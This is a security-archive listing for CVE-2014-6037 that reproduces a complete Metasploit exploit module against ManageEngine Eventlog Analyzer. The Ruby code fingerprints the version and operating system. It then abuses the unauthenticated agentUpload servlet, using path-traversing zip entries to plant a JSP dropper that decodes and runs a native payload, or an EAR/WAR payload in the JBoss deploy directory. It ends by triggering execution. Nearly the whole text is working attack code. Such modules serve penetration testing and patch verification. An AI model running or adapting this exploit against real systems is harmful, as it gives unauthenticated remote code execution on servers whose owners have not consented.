Lucene search

K
packetstormH0ng10PACKETSTORM:128233
HistorySep 12, 2014 - 12:00 a.m.

ManageEngine Eventlog Analyzer Arbitrary File Upload

2014-09-1200:00:00
h0ng10
packetstormsecurity.com
24

EPSS

0.967

Percentile

99.7%

`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
include Msf::Exploit::EXE  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'ManageEngine Eventlog Analyzer Arbitrary File Upload',  
'Description' => %q{  
This module exploits a file upload vulnerability in ManageEngine Eventlog Analyzer.  
The vulnerability exists in the agentUpload servlet which accepts unauthenticated  
file uploads and handles zip file contents in a insecure way. By combining both  
weaknesses a remote attacker can achieve remote code execution. This module has been  
tested successfully on versions v7.0 - v9.9 b9002 in Windows and Linux. Versions  
between 7.0 and < 8.1 are only exploitable via EAR deployment in the JBoss server,  
while versions 8.1+ are only exploitable via a JSP upload.  
},  
'Author' =>  
[  
'h0ng10', # Vulnerability discovery  
'Pedro Ribeiro <pedrib[at]gmail.com>' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2014-6037' ],  
[ 'OSVDB', '110642' ],  
[ 'URL', 'https://www.mogwaisecurity.de/advisories/MSA-2014-01.txt' ],  
[ 'URL', 'http://seclists.org/fulldisclosure/2014/Aug/86' ]  
],  
'DefaultOptions' => { 'WfsDelay' => 5 },  
'Privileged' => false, # Privileged on Windows but not on Linux targets  
'Platform' => %w{ java linux win },  
'Targets' =>  
[  
[ 'Automatic', { } ],  
[ 'Eventlog Analyzer v7.0 - v8.0 / Java universal',  
{  
'Platform' => 'java',  
'Arch' => ARCH_JAVA,  
'WfsDelay' => 30  
}  
],  
[ 'Eventlog Analyzer v8.1 - v9.9 b9002 / Windows',  
{  
'Platform' => 'win',  
'Arch' => ARCH_X86  
}  
],  
[ 'Eventlog Analyzer v8.1 - v9.9 b9002 / Linux',  
{  
'Platform' => 'linux',  
'Arch' => ARCH_X86  
}  
]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Aug 31 2014'))  
  
register_options(  
[  
Opt::RPORT(8400),  
OptInt.new('SLEEP',  
[true, 'Seconds to sleep while we wait for EAR deployment (Java target only)', 15]),  
], self.class)  
end  
  
  
def get_version  
res = send_request_cgi({  
'uri' => normalize_uri("event/index3.do"),  
'method' => 'GET'  
})  
  
if res and res.code == 200  
if res.body =~ /ManageEngine EventLog Analyzer ([0-9]{1})/  
return $1  
end  
end  
  
return "0"  
end  
  
  
def check  
version = get_version  
if version >= "7" and version <= "9"  
# version 7 to < 8.1 detection  
res = send_request_cgi({  
'uri' => normalize_uri("event/agentUpload"),  
'method' => 'GET'  
})  
if res and res.code == 405  
return Exploit::CheckCode::Appears  
end  
  
# version 8.1+ detection  
res = send_request_cgi({  
'uri' => normalize_uri("agentUpload"),  
'method' => 'GET'  
})  
if res and res.code == 405 and version == 8  
return Exploit::CheckCode::Appears  
else  
# We can't be sure that it is vulnerable in version 9  
return Exploit::CheckCode::Detected  
end  
  
else  
return Exploit::CheckCode::Safe  
end  
end  
  
  
def create_zip_and_upload(payload, target_path, is_payload = true)  
# Zipping with CM_STORE to avoid errors decompressing the zip  
# in the Java vulnerable application  
zip = Rex::Zip::Archive.new(Rex::Zip::CM_STORE)  
zip.add_file(target_path, payload)  
  
post_data = Rex::MIME::Message.new  
post_data.add_part(zip.pack, "application/zip", 'binary', "form-data; name=\"#{Rex::Text.rand_text_alpha(4+rand(4))}\"; filename=\"#{Rex::Text.rand_text_alpha(4+rand(4))}.zip\"")  
  
data = post_data.to_s  
  
if is_payload  
print_status("#{peer} - Uploading payload...")  
end  
res = send_request_cgi({  
'uri' => (@my_target == targets[1] ? normalize_uri("/event/agentUpload") : normalize_uri("agentUpload")),  
'method' => 'POST',  
'data' => data,  
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"  
})  
  
if res and res.code == 200 and res.body.empty?  
if is_payload  
print_status("#{peer} - Payload uploaded successfully")  
end  
register_files_for_cleanup(target_path.gsub("../../", "../"))  
return true  
else  
return false  
end  
end  
  
  
def pick_target  
return target if target.name != 'Automatic'  
  
print_status("#{peer} - Determining target")  
  
version = get_version  
  
if version == "7"  
return targets[1]  
end  
  
os_finder_payload = %Q{<html><body><%out.println(System.getProperty("os.name"));%></body><html>}  
jsp_name = "#{rand_text_alphanumeric(4+rand(32-4))}.jsp"  
target_dir = "../../webapps/event/"  
if not create_zip_and_upload(os_finder_payload, target_dir + jsp_name, false)  
if version == "8"  
# Versions < 8.1 do not have a Java compiler, but can be exploited via the EAR method  
return targets[1]  
end  
return nil  
end  
  
res = send_request_cgi({  
'uri' => normalize_uri(jsp_name),  
'method' => 'GET'  
})  
  
if res and res.code == 200  
if res.body.to_s =~ /Windows/  
return targets[2]  
else  
# assuming Linux  
return targets[3]  
end  
end  
  
return nil  
end  
  
  
def generate_jsp_payload  
opts = {:arch => @my_target.arch, :platform => @my_target.platform}  
payload = exploit_regenerate_payload(@my_target.platform, @my_target.arch)  
exe = generate_payload_exe(opts)  
base64_exe = Rex::Text.encode_base64(exe)  
  
native_payload_name = rand_text_alpha(rand(6)+3)  
ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin'  
  
var_raw = rand_text_alpha(rand(8) + 3)  
var_ostream = rand_text_alpha(rand(8) + 3)  
var_buf = rand_text_alpha(rand(8) + 3)  
var_decoder = rand_text_alpha(rand(8) + 3)  
var_tmp = rand_text_alpha(rand(8) + 3)  
var_path = rand_text_alpha(rand(8) + 3)  
var_proc2 = rand_text_alpha(rand(8) + 3)  
  
if @my_target['Platform'] == 'linux'  
var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3)  
chmod = %Q|  
Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path});  
Thread.sleep(200);  
|  
  
var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3)  
cleanup = %Q|  
Thread.sleep(200);  
Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path});  
|  
else  
chmod = ''  
cleanup = ''  
end  
  
jsp = %Q|  
<%@page import="java.io.*"%>  
<%@page import="sun.misc.BASE64Decoder"%>  
<%  
try {  
String #{var_buf} = "#{base64_exe}";  
BASE64Decoder #{var_decoder} = new BASE64Decoder();  
byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());  
  
File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}");  
String #{var_path} = #{var_tmp}.getAbsolutePath();  
  
BufferedOutputStream #{var_ostream} =  
new BufferedOutputStream(new FileOutputStream(#{var_path}));  
#{var_ostream}.write(#{var_raw});  
#{var_ostream}.close();  
#{chmod}  
Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path});  
#{cleanup}  
} catch (Exception e) {  
}  
%>  
|  
  
jsp = jsp.gsub(/\n/, '')  
jsp = jsp.gsub(/\t/, '')  
jsp = jsp.gsub(/\x0d\x0a/, "")  
jsp = jsp.gsub(/\x0a/, "")  
  
return jsp  
end  
  
  
def exploit_native  
# When using auto targeting, MSF selects the Windows meterpreter as the default payload.  
# Fail if this is the case and ask the user to select an appropriate payload.  
if @my_target['Platform'] == 'linux' and payload_instance.name =~ /Windows/  
fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.")  
end  
  
jsp_name = "#{rand_text_alphanumeric(4+rand(32-4))}.jsp"  
target_dir = "../../webapps/event/"  
  
jsp_payload = generate_jsp_payload  
if not create_zip_and_upload(jsp_payload, target_dir + jsp_name)  
fail_with(Failure::Unknown, "#{peer} - Payload upload failed")  
end  
  
return jsp_name  
end  
  
  
def exploit_java  
# When using auto targeting, MSF selects the Windows meterpreter as the default payload.  
# Fail if this is the case and ask the user to select an appropriate payload.  
if @my_target['Platform'] == 'java' and not payload_instance.name =~ /Java/  
fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Java target.")  
end  
  
target_dir = "../../server/default/deploy/"  
  
# First we generate the WAR with the payload...  
war_app_base = rand_text_alphanumeric(4 + rand(32 - 4))  
war_payload = payload.encoded_war({ :app_name => war_app_base })  
  
# ... and then we create an EAR file that will contain it.  
ear_app_base = rand_text_alphanumeric(4 + rand(32 - 4))  
app_xml = %Q{<?xml version="1.0" encoding="UTF-8"?><application><display-name>#{rand_text_alphanumeric(4 + rand(32 - 4))}</display-name><module><web><web-uri>#{war_app_base + ".war"}</web-uri><context-root>/#{ear_app_base}</context-root></web></module></application>}  
  
# Zipping with CM_STORE to avoid errors while decompressing the zip  
# in the Java vulnerable application  
ear_file = Rex::Zip::Archive.new(Rex::Zip::CM_STORE)  
ear_file.add_file(war_app_base + ".war", war_payload.to_s)  
ear_file.add_file("META-INF/application.xml", app_xml)  
ear_file_name = rand_text_alphanumeric(4 + rand(32 - 4)) + ".ear"  
  
if not create_zip_and_upload(ear_file.pack, target_dir + ear_file_name)  
fail_with(Failure::Unknown, "#{peer} - Payload upload failed")  
end  
  
print_status("#{peer} - Waiting " + datastore['SLEEP'].to_s + " seconds for EAR deployment...")  
sleep(datastore['SLEEP'])  
return normalize_uri(ear_app_base, war_app_base, rand_text_alphanumeric(4 + rand(32 - 4)))  
end  
  
  
def exploit  
if datastore['SLEEP'] < 0  
print_error("The SLEEP datastore option shouldn't be negative")  
return  
end  
  
@my_target = pick_target  
if @my_target.nil?  
print_error("#{peer} - Unable to select a target, we must bail.")  
return  
else  
print_status("#{peer} - Selected target #{@my_target.name}")  
end  
  
if @my_target == targets[1]  
exploit_path = exploit_java  
else  
exploit_path = exploit_native  
end  
  
print_status("#{peer} - Executing payload...")  
send_request_cgi({  
'uri' => normalize_uri(exploit_path),  
'method' => 'GET'  
})  
end  
end  
`